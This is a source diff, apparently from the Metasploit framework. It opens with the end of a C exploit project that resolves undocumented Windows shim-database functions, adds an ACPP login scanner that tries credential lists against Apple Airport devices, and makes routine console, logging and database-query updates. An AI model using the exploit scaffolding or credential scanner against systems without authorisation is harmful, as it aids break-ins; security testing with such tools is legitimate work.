SdbGetIndex SdbGetIndexPtr = NULL;
SdbGetMatchingExe SdbGetMatchingExePtr = NULL;
SdbGetNextChild SdbGetNextChildPtr = NULL;
SdbGetStringTagPtr SdbGetStringTagPtrPtr = NULL;
SdbGetTagFromTagID SdbGetTagFromTagIDPtr = NULL;
SdbInitDatabase SdbInitDatabasePtr = NULL;
SdbIsStandardDatabase SdbIsStandardDatabasePtr = NULL;
SdbMakeIndexKeyFromString SdbMakeIndexKeyFromStringPtr = NULL;
SdbOpenApphelpDetailsDatabase SdbOpenApphelpDetailsDatabasePtr = NULL;
SdbOpenApphelpResourceFile SdbOpenApphelpResourceFilePtr = NULL;
SdbOpenDatabase SdbOpenDatabasePtr = NULL;
SdbQueryDataExTagID SdbQueryDataExTagIDPtr = NULL;
SdbReadApphelpDetailsData SdbReadApphelpDetailsDataPtr = NULL;
SdbReadBinaryTag SdbReadBinaryTagPtr = NULL;
SdbReadDWORDTag SdbReadDWORDTagPtr = NULL;
SdbReadWORDTag SdbReadWORDTagPtr = NULL;
SdbReadQWORDTag SdbReadQWORDTagPtr = NULL;
SdbReadStringTag SdbReadStringTagPtr = NULL;
SdbRegisterDatabaseEx SdbRegisterDatabaseExPtr = NULL;
SdbReleaseDatabase SdbReleaseDatabasePtr = NULL;
SdbReleaseMatchingExe SdbReleaseMatchingExePtr = NULL;
SdbStartIndexing SdbStartIndexingPtr = NULL;
SdbStopIndexing SdbStopIndexingPtr = NULL;
SdbTagRefToTagID SdbTagRefToTagIDPtr = NULL;
SdbTagToString SdbTagToStringPtr = NULL;
SdbUnregisterDatabase SdbUnregisterDatabasePtr = NULL;
SdbWriteBinaryTag SdbWriteBinaryTagPtr = NULL;
SdbWriteBinaryTagFromFile SdbWriteBinaryTagFromFilePtr = NULL;
SdbWriteDWORDTag SdbWriteDWORDTagPtr = NULL;
SdbWriteNULLTag SdbWriteNULLTagPtr = NULL;
SdbWriteQWORDTag SdbWriteQWORDTagPtr = NULL;
SdbWriteStringTag SdbWriteStringTagPtr = NULL;
SdbWriteWORDTag SdbWriteWORDTagPtr = NULL;
ShimFlushCache ShimFlushCachePtr = NULL;
SdbGetTagDataSize SdbGetTagDataSizePtr = NULL;
SdbGetShowDebugInfoOption SdbGetShowDebugInfoOptionPtr = NULL;
BOOL resolveSdbFunctions()
{
HMODULE apphelpdll;
HMODULE kernel32dll;
apphelpdll = LoadLibraryA("apphelp.dll");
if (!apphelpdll)
{
fprintf(stderr, "Failed to load apphelp\n");
return FALSE;
}
kernel32dll = LoadLibraryA("kernel32.dll");
if (!kernel32dll)
{
fprintf(stderr, "Failed to load kernel32\n");
return FALSE;
}
BaseFlushAppcompatCachePtr = (BaseFlushAppcompatCache)GetProcAddress(kernel32dll, "BaseFlushAppcompatCache");
SdbBeginWriteListTagPtr = (SdbBeginWriteListTag)GetProcAddress(apphelpdll, "SdbBeginWriteListTag");
SdbCloseDatabasePtr = (SdbCloseDatabase)GetProcAddress(apphelpdll, "SdbCloseDatabase");
SdbCloseDatabaseWritePtr = (SdbCloseDatabaseWrite)GetProcAddress(apphelpdll, "SdbCloseDatabaseWrite");
SdbCommitIndexesPtr = (SdbCommitIndexes)GetProcAddress(apphelpdll, "SdbCommitIndexes");
SdbCreateDatabasePtr = (SdbCreateDatabase)GetProcAddress(apphelpdll, "SdbCreateDatabase");
SdbDeclareIndexPtr = (SdbDeclareIndex)GetProcAddress(apphelpdll, "SdbDeclareIndex");
SdbEndWriteListTagPtr = (SdbEndWriteListTag)GetProcAddress(apphelpdll, "SdbEndWriteListTag");
SdbFindFirstDWORDIndexedTagPtr = (SdbFindFirstDWORDIndexedTag)GetProcAddress(apphelpdll, "SdbFindFirstDWORDIndexedTag");
SdbFindFirstTagPtr = (SdbFindFirstTag)GetProcAddress(apphelpdll, "SdbFindFirstTag");
SdbFindNextTagPtr = (SdbFindNextTag)GetProcAddress(apphelpdll, "SdbFindNextTag");
SdbFormatAttributePtr = (SdbFormatAttribute)GetProcAddress(apphelpdll, "SdbFormatAttribute");
SdbFreeFileAttributesPtr = (SdbFreeFileAttributes)GetProcAddress(apphelpdll, "SdbFreeFileAttributes");
SdbGetAppPatchDirPtr = (SdbGetAppPatchDir)GetProcAddress(apphelpdll, "SdbGetAppPatchDir");
SdbGetBinaryTagDataPtr = (SdbGetBinaryTagData)GetProcAddress(apphelpdll, "SdbGetBinaryTagData");
SdbGetFileAttributesPtr = (SdbGetFileAttributes)GetProcAddress(apphelpdll, "SdbGetFileAttributes");
SdbGetFirstChildPtr = (SdbGetFirstChild)GetProcAddress(apphelpdll, "SdbGetFirstChild");
SdbGetIndexPtr = (SdbGetIndex)GetProcAddress(apphelpdll, "SdbGetIndex");
SdbGetMatchingExePtr = (SdbGetMatchingExe)GetProcAddress(apphelpdll, "SdbGetMatchingExe");
SdbGetNextChildPtr = (SdbGetNextChild)GetProcAddress(apphelpdll, "SdbGetNextChild");
SdbGetStringTagPtrPtr = (SdbGetStringTagPtr)GetProcAddress(apphelpdll, "SdbGetStringTagPtr");
SdbGetTagFromTagIDPtr = (SdbGetTagFromTagID)GetProcAddress(apphelpdll, "SdbGetTagFromTagID");
SdbInitDatabasePtr = (SdbInitDatabase)GetProcAddress(apphelpdll, "SdbInitDatabase");
SdbIsStandardDatabasePtr = (SdbIsStandardDatabase)GetProcAddress(apphelpdll, "SdbIsStandardDatabase");
SdbMakeIndexKeyFromStringPtr = (SdbMakeIndexKeyFromString)GetProcAddress(apphelpdll, "SdbMakeIndexKeyFromString");
SdbOpenApphelpDetailsDatabasePtr = (SdbOpenApphelpDetailsDatabase)GetProcAddress(apphelpdll, "SdbOpenApphelpDetailsDatabase");
SdbOpenApphelpResourceFilePtr = (SdbOpenApphelpResourceFile)GetProcAddress(apphelpdll, "SdbOpenApphelpResourceFile");
SdbOpenDatabasePtr = (SdbOpenDatabase)GetProcAddress(apphelpdll, "SdbOpenDatabase");
SdbQueryDataExTagIDPtr = (SdbQueryDataExTagID)GetProcAddress(apphelpdll, "SdbQueryDataExTagID");
SdbReadApphelpDetailsDataPtr = (SdbReadApphelpDetailsData)GetProcAddress(apphelpdll, "SdbReadApphelpDetailsData");
SdbReadBinaryTagPtr = (SdbReadBinaryTag)GetProcAddress(apphelpdll, "SdbReadBinaryTag");
SdbReadDWORDTagPtr = (SdbReadDWORDTag)GetProcAddress(apphelpdll, "SdbReadDWORDTag");
SdbReadWORDTagPtr = (SdbReadWORDTag)GetProcAddress(apphelpdll, "SdbReadWORDTag");
SdbReadQWORDTagPtr = (SdbReadQWORDTag)GetProcAddress(apphelpdll, "SdbReadQWORDTag");
SdbReadStringTagPtr = (SdbReadStringTag)GetProcAddress(apphelpdll, "SdbReadStringTag");
SdbRegisterDatabaseExPtr = (SdbRegisterDatabaseEx)GetProcAddress(apphelpdll, "SdbRegisterDatabaseEx");
SdbReleaseDatabasePtr = (SdbReleaseDatabase)GetProcAddress(apphelpdll, "SdbReleaseDatabase");
SdbReleaseMatchingExePtr = (SdbReleaseMatchingExe)GetProcAddress(apphelpdll, "SdbReleaseMatchingExe");
SdbStartIndexingPtr = (SdbStartIndexing)GetProcAddress(apphelpdll, "SdbStartIndexing");
SdbStopIndexingPtr = (SdbStopIndexing)GetProcAddress(apphelpdll, "SdbStopIndexing");
SdbTagRefToTagIDPtr = (SdbTagRefToTagID)GetProcAddress(apphelpdll, "SdbTagRefToTagID");
SdbTagToStringPtr = (SdbTagToString)GetProcAddress(apphelpdll, "SdbTagToString");
SdbUnregisterDatabasePtr = (SdbUnregisterDatabase)GetProcAddress(apphelpdll, "SdbUnregisterDatabase");
SdbWriteBinaryTagPtr = (SdbWriteBinaryTag)GetProcAddress(apphelpdll, "SdbWriteBinaryTag");
SdbWriteBinaryTagFromFilePtr = (SdbWriteBinaryTagFromFile)GetProcAddress(apphelpdll, "SdbWriteBinaryTagFromFile");
SdbWriteDWORDTagPtr = (SdbWriteDWORDTag)GetProcAddress(apphelpdll, "SdbWriteDWORDTag");
SdbWriteNULLTagPtr = (SdbWriteNULLTag)GetProcAddress(apphelpdll, "SdbWriteNULLTag");
SdbWriteQWORDTagPtr = (SdbWriteQWORDTag)GetProcAddress(apphelpdll, "SdbWriteQWORDTag");
SdbWriteStringTagPtr = (SdbWriteStringTag)GetProcAddress(apphelpdll, "SdbWriteStringTag");
SdbWriteWORDTagPtr = (SdbWriteWORDTag)GetProcAddress(apphelpdll, "SdbWriteWORDTag");
ShimFlushCachePtr = (ShimFlushCache)GetProcAddress(apphelpdll, "ShimFlushCache");
SdbGetTagDataSizePtr = (SdbGetTagDataSize)GetProcAddress(apphelpdll, "SdbGetTagDataSize");
SdbGetShowDebugInfoOptionPtr = (SdbGetShowDebugInfoOption)GetProcAddress(apphelpdll, "SdbGetShowDebugInfoOption");
if (!BaseFlushAppcompatCachePtr
|| !SdbBeginWriteListTagPtr
|| !SdbCloseDatabasePtr
|| !SdbCloseDatabaseWritePtr
|| !SdbCommitIndexesPtr
|| !SdbCreateDatabasePtr
|| !SdbDeclareIndexPtr
|| !SdbEndWriteListTagPtr
|| !SdbFindFirstDWORDIndexedTagPtr
|| !SdbFindFirstTagPtr
|| !SdbFindNextTagPtr
|| !SdbFormatAttributePtr
|| !SdbFreeFileAttributesPtr
|| !SdbGetAppPatchDirPtr
|| !SdbGetBinaryTagDataPtr
|| !SdbGetFileAttributesPtr
|| !SdbGetFirstChildPtr
|| !SdbGetIndexPtr
|| !SdbGetMatchingExePtr
|| !SdbGetNextChildPtr
|| !SdbGetStringTagPtrPtr
|| !SdbGetTagFromTagIDPtr
|| !SdbInitDatabasePtr
|| !SdbIsStandardDatabasePtr
|| !SdbMakeIndexKeyFromStringPtr
|| !SdbOpenApphelpDetailsDatabasePtr
|| !SdbOpenApphelpResourceFilePtr
|| !SdbOpenDatabasePtr
|| !SdbQueryDataExTagIDPtr
|| !SdbReadApphelpDetailsDataPtr
|| !SdbReadBinaryTagPtr
|| !SdbReadDWORDTagPtr
|| !SdbReadQWORDTagPtr
|| !SdbReadStringTagPtr
|| !SdbRegisterDatabaseExPtr
|| !SdbReleaseDatabasePtr
|| !SdbReleaseMatchingExePtr
|| !SdbStartIndexingPtr
|| !SdbStopIndexingPtr
|| !SdbTagRefToTagIDPtr
|| !SdbTagToStringPtr
|| !SdbUnregisterDatabasePtr
|| !SdbWriteBinaryTagPtr
|| !SdbWriteBinaryTagFromFilePtr
|| !SdbWriteDWORDTagPtr
|| !SdbWriteNULLTagPtr
|| !SdbWriteQWORDTagPtr
|| !SdbWriteStringTagPtr
|| !SdbWriteWORDTagPtr
|| !ShimFlushCachePtr
|| !SdbReadWORDTagPtr
|| !SdbGetTagDataSizePtr
|| !SdbGetShowDebugInfoOptionPtr)
{
return FALSE;
}
return TRUE;
}

View File

@ -0,0 +1,9 @@
// stdafx.cpp : source file that includes just the standard includes
// exploit.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,14 @@
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#define WIN32_NO_STATUS 1
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include <winternl.h>

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -1,5 +1,15 @@
#!/bin/bash
# This requires Java 1.7 or earlier because it uses private APIs.
# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html
# for more information.
# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to
# be set manually.
if [ -x /usr/libexec/java_home ]; then
export JAVA_HOME=$(/usr/libexec/java_home -v 1.6)
fi
javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java
jar -cf msfJavaToolkit.jar javaCompile/*.class

View File

@ -33,7 +33,7 @@ _arguments \
{-o,--output}"[Output to the specified file]:output file" \
{-p,--plugin}"[Load a plugin on startup]:plugin file:_files" \
{-q,--quiet}"[Do not print the banner on start up]" \
{-r,--resource}"[Execute the specified resource file]:resource file:_files" \
{-r,--resource}"[Execute the specified resource file (- for stdin)]:resource file:_files" \
{-v,--version}"[Show version]" \
{-x,--execute-command}"[Execute the specified string as console commands]:commands" \
{-y,--yaml}"[Specify a YAML file containing database settings]:yaml file:_files"

View File

@ -19,6 +19,8 @@ Feature: Help command
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
go_pro Launch Metasploit web GUI
grep Grep the output of another command
help Help menu
@ -39,14 +41,14 @@ Feature: Help command
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a variable to a value
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more variables
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers

View File

@ -99,7 +99,7 @@ Feature: MS08-067 netapi
Name : Proxies
Current Setting:
Description : Use a proxy chain
Description : A proxy chain of format type:host:port[,type:host:port][...]
Name : SMB::ChunkSize
Current Setting: 500

View File

@ -44,7 +44,11 @@ module Metasploit
# convert port to FTP syntax
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
dataport = ($5.to_i * 256) + $6.to_i
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
self.datasocket = Rex::Socket::Tcp.create(
'PeerHost' => datahost,
'PeerPort' => dataport,
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
)
end
self.datasocket
end

View File

@ -224,7 +224,7 @@ module Metasploit
end
# Yield any capture MSSQL Instance names
workspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']).each do |note|
workspace.notes.where(['ntype=?', 'mssql.instancename']).each do |note|
expanded_words(note.data['InstanceName']) do |word|
yield word
end

View File

@ -0,0 +1,70 @@
require 'metasploit/framework/tcp/client'
require 'rex/proto/acpp'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with the Apple Airport ACPP
# protocol. It is responsible for taking a single target, and a list of
# credentials and attempting them. It then saves the results.
class ACPP
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
#
# CONSTANTS
#
DEFAULT_PORT = Rex::Proto::ACPP::DEFAULT_PORT
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'acpp' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'acpp'
}
begin
# Make our initial socket to the target
disconnect if self.sock
connect
client = Rex::Proto::ACPP::Client.new(sock)
auth_response = client.authenticate(credential.private)
if auth_response.successful?
status = Metasploit::Model::Login::Status::SUCCESSFUL
else
status = Metasploit::Model::Login::Status::INCORRECT
end
result_options.merge!(
proof: "Status code #{auth_response.status}",
status: status
)
rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e
result_options.merge!(
proof: e.message,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
ensure
disconnect
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
end
end
end
end

View File

@ -12,6 +12,12 @@ module Metasploit
include ActiveModel::Validations
included do
# @!attribute framework
# @return [Object] The framework instance object
attr_accessor :framework
# @!attribute framework_module
# @return [Object] The framework module caller, if availale
attr_accessor :framework_module
# @!attribute connection_timeout
# @return [Fixnum] The timeout in seconds for a single SSH connection
attr_accessor :connection_timeout

View File

@ -38,7 +38,7 @@ module Metasploit
:Timeout => connection_timeout,
:Retries => 2,
:Transport => ::SNMP::RexUDPTransport,
:Socket => ::Rex::Socket::Udp.create
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
)
result_options[:proof] = test_read_access(snmp_client)

View File

@ -60,7 +60,7 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.quiet = true
end
option_parser.on('-r', '--resource FILE', 'Execute the specified resource file') do |file|
option_parser.on('-r', '--resource FILE', 'Execute the specified resource file (- for stdin)') do |file|
options.console.resources << file
end

View File

@ -89,7 +89,8 @@ module Metasploit
'SSL' => dossl,
'SSLVersion' => opts['SSLVersion'] || ssl_version,
'Proxies' => proxies,
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
)
# enable evasions on this socket
set_tcp_evasions(nsock)

View File

@ -151,19 +151,17 @@ protected
rescue ::Exception => e
mod.error = e
mod.print_error("Auxiliary failed: #{e.class} #{e}")
elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0)
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
else
if(e.class.to_s != 'Msf::OptionValidateError')
mod.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.auxiliary.rb/
mod.print_error(" #{line}")
end
elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0)
end
elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
mod.cleanup
return
@ -184,3 +182,4 @@ end
end
end

View File

@ -147,17 +147,7 @@ module Exploit
exploit.error = e
exploit.print_error("Exploit failed: #{e}")
elog("Exploit failed (#{exploit.refname}): #{e}", 'core', LEV_0)
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
else
mod.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.exploit.rb/
mod.print_error(" #{line}")
end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
end
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
end
return driver.session if driver
@ -209,3 +199,4 @@ end
end
end

View File

@ -121,19 +121,17 @@ protected
rescue ::Exception => e
mod.error = e
mod.print_error("Post failed: #{e.class} #{e}")
elog("Post failed: #{e.class} #{e}", 'core', LEV_0)
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
else
if(e.class.to_s != 'Msf::OptionValidateError')
mod.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.post.rb/
mod.print_error(" #{line}")
end
elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0)
end
elog("Post failed: #{e.class} #{e}", 'core', LEV_0)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
mod.cleanup
return
@ -156,3 +154,4 @@ end
end
end

View File

@ -12,6 +12,38 @@ module Auxiliary::Report
optionally_include_metasploit_credential_creation
def create_cracked_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def invalidate_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
# This method overrides the method from Metasploit::Credential to check for an active db
def active_db?
framework.db.active
@ -441,7 +473,7 @@ module Auxiliary::Report
cred_opts = opts.merge(:workspace => myworkspace)
cred_host = myworkspace.hosts.find_by_address(cred_opts[:host])
unless opts[:port]
possible_services = myworkspace.services.find_all_by_host_id_and_name(cred_host[:id],cred_opts[:sname])
possible_services = myworkspace.services.where(host_id: cred_host[:id], name: cred_opts[:sname])
case possible_services.size
when 0
case cred_opts[:sname].downcase
@ -482,7 +514,7 @@ module Auxiliary::Report
end
end
if opts[:collect_session]
session = myworkspace.sessions.find_all_by_local_id(opts[:collect_session]).last
session = myworkspace.sessions.where(local_id: opts[:collect_session]).last
if !session.nil?
cred_opts[:source_id] = session.id
cred_opts[:source_type] = "exploit"

View File

@ -223,7 +223,7 @@ class Export
# Authors sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_authors>\n")
m.authors.find(:all).each do |d|
m.authors.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -234,7 +234,7 @@ class Export
# Refs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_refs>\n")
m.refs.find(:all).each do |d|
m.refs.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -246,7 +246,7 @@ class Export
# Archs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_archs>\n")
m.archs.find(:all).each do |d|
m.archs.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -258,7 +258,7 @@ class Export
# Platforms sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_platforms>\n")
m.platforms.find(:all).each do |d|
m.platforms.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -270,7 +270,7 @@ class Export
# Targets sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_targets>\n")
m.targets.find(:all).each do |d|
m.targets.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -281,7 +281,7 @@ class Export
# Actions sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_actions>\n")
m.actions.find(:all).each do |d|
m.actions.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -292,7 +292,7 @@ class Export
# Mixins sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_mixins>\n")
m.mixins.find(:all).each do |d|
m.mixins.each do |d|
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
@ -319,7 +319,7 @@ class Export
# Host details sub-elements
report_file.write(" <host_details>\n")
h.host_details.find(:all).each do |d|
h.host_details.each do |d|
report_file.write(" <host_detail>\n")
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
@ -331,7 +331,7 @@ class Export
# Host exploit attempts sub-elements
report_file.write(" <exploit_attempts>\n")
h.exploit_attempts.find(:all).each do |d|
h.exploit_attempts.each do |d|
report_file.write(" <exploit_attempt>\n")
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
@ -343,7 +343,7 @@ class Export
# Service sub-elements
report_file.write(" <services>\n")
@services.find_all_by_host_id(host_id).each do |e|
@services.where(host_id: host_id).each do |e|
report_file.write(" <service>\n")
e.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
@ -355,7 +355,7 @@ class Export
# Notes sub-elements
report_file.write(" <notes>\n")
@notes.find_all_by_host_id(host_id).each do |e|
@notes.where(host_id: host_id).each do |e|
report_file.write(" <note>\n")
e.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
@ -367,7 +367,7 @@ class Export
# Vulns sub-elements
report_file.write(" <vulns>\n")
@vulns.find_all_by_host_id(host_id).each do |e|
@vulns.where(host_id: host_id).each do |e|
report_file.write(" <vuln>\n")
e.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
@ -385,7 +385,7 @@ class Export
# Vuln details sub-elements
report_file.write(" <vuln_details>\n")
e.vuln_details.find(:all).each do |d|
e.vuln_details.each do |d|
report_file.write(" <vuln_detail>\n")
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
@ -398,7 +398,7 @@ class Export
# Vuln attempts sub-elements
report_file.write(" <vuln_attempts>\n")
e.vuln_attempts.find(:all).each do |d|
e.vuln_attempts.each do |d|
report_file.write(" <vuln_attempt>\n")
d.attributes.each_pair do |k,v|
el = create_xml_element(k,v)

View File

@ -130,7 +130,7 @@ class Msf::DBManager
#
def check
::ActiveRecord::Base.connection_pool.with_connection {
res = ::Mdm::Host.find(:first)
res = ::Mdm::Host.first
}
end

View File

@ -36,7 +36,7 @@ module Msf::DBManager::Client
ret = {}
host = get_host(:workspace => wspace, :host => addr)
client = host.clients.find_or_initialize_by_ua_string(opts[:ua_string])
client = host.clients.where(ua_string: opts[:ua_string]).first_or_initialize
opts[:ua_string] = opts[:ua_string].to_s

View File

@ -102,28 +102,28 @@ module Msf::DBManager::Cred
# If duplicate usernames are okay, find by both user and password (allows
# for actual duplicates to get modified updated_at, sources, etc)
if token[0].nil? or token[0].empty?
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize
else
cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
unless cred
dcu = token[0].downcase
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
unless cred
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize
end
end
end
else
# Create the cred by username only (so we can change passwords)
if token[0].nil? or token[0].empty?
cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype)
cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize
else
cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype)
unless cred
dcu = token[0].downcase
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
unless cred
cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype)
cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize
end
end
end

View File

@ -166,9 +166,9 @@ module Msf::DBManager::Host
end
if opts[:comm] and opts[:comm].length > 0
host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm])
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
else
host = wspace.hosts.find_or_initialize_by_address(addr)
host = wspace.hosts.where(address: addr).first_or_initialize
end
else
host = addr
@ -257,9 +257,9 @@ module Msf::DBManager::Host
end
if opts[:comm] and opts[:comm].length > 0
host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm])
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
else
host = wspace.hosts.find_or_initialize_by_address(addr)
host = wspace.hosts.where(address: addr).first_or_initialize
end
else
host = addr

View File

@ -119,7 +119,7 @@ module Msf::DBManager::Import
# Msf::DBManager::Import::MetasploitFramework::Zip becomes resolvable as Zip here, so need to use ::Zip so Zip
# is resolved as one from rubyzip gem.
data = ::Zip::File.open(filename)
when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4"
when "\xd4\xc3\xb2\xa1".force_encoding('ASCII-8BIT'), "\xa1\xb2\xc3\xd4".force_encoding('ASCII-8BIT')
data = PacketFu::PcapFile.new(:filename => filename)
else
::File.open(filename, 'rb') do |f|

View File

@ -8,7 +8,7 @@ module Msf::DBManager::Ref
return ret[:ref] if ret[:ref]
::ActiveRecord::Base.connection_pool.with_connection {
ref = ::Mdm::Ref.find_or_initialize_by_name(opts[:name])
ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize
if ref and ref.changed?
ref.save!
end

View File

@ -87,7 +87,7 @@ module Msf::DBManager::Service
proto = opts[:proto] || 'tcp'
service = host.services.find_or_initialize_by_port_and_proto(opts[:port].to_i, proto)
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
opts.each { |k,v|
if (service.attribute_names.include?(k.to_s))
service[k] = ((v and k == :name) ? v.to_s.downcase : v)

View File

@ -31,7 +31,7 @@ module Msf::DBManager::Vuln
vuln = nil
if service
vuln = service.vulns.find(:first, :include => [:vuln_details], :conditions => crit)
vuln = service.vulns.includes(:vuln_details).where(crit).first
end
# Return if we matched based on service
@ -39,7 +39,7 @@ module Msf::DBManager::Vuln
# Prevent matches against other services
crit["vulns.service_id"] = nil if service
vuln = host.vulns.find(:first, :include => [:vuln_details], :conditions => crit)
vuln = host.vulns.includes(:vuln_details).where(crit).first
return vuln
end
@ -52,7 +52,7 @@ module Msf::DBManager::Vuln
# If there are multiple matches, choose the one with the most matches
if service
refs_ids = refs.map{|x| x.id }
vuln = service.vulns.find(:all, :include => [:refs], :conditions => { 'refs.id' => refs_ids }).sort { |a,b|
vuln = service.vulns.where({ 'refs.id' => refs_ids }).includes(:refs).sort { |a,b|
( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length
}.first
end
@ -63,7 +63,7 @@ module Msf::DBManager::Vuln
# Try to find an existing vulnerability with the same host & references
# If there are multiple matches, choose the one with the most matches
refs_ids = refs.map{|x| x.id }
vuln = host.vulns.find(:all, :include => [:refs], :conditions => { 'service_id' => nil, 'refs.id' => refs_ids }).sort { |a,b|
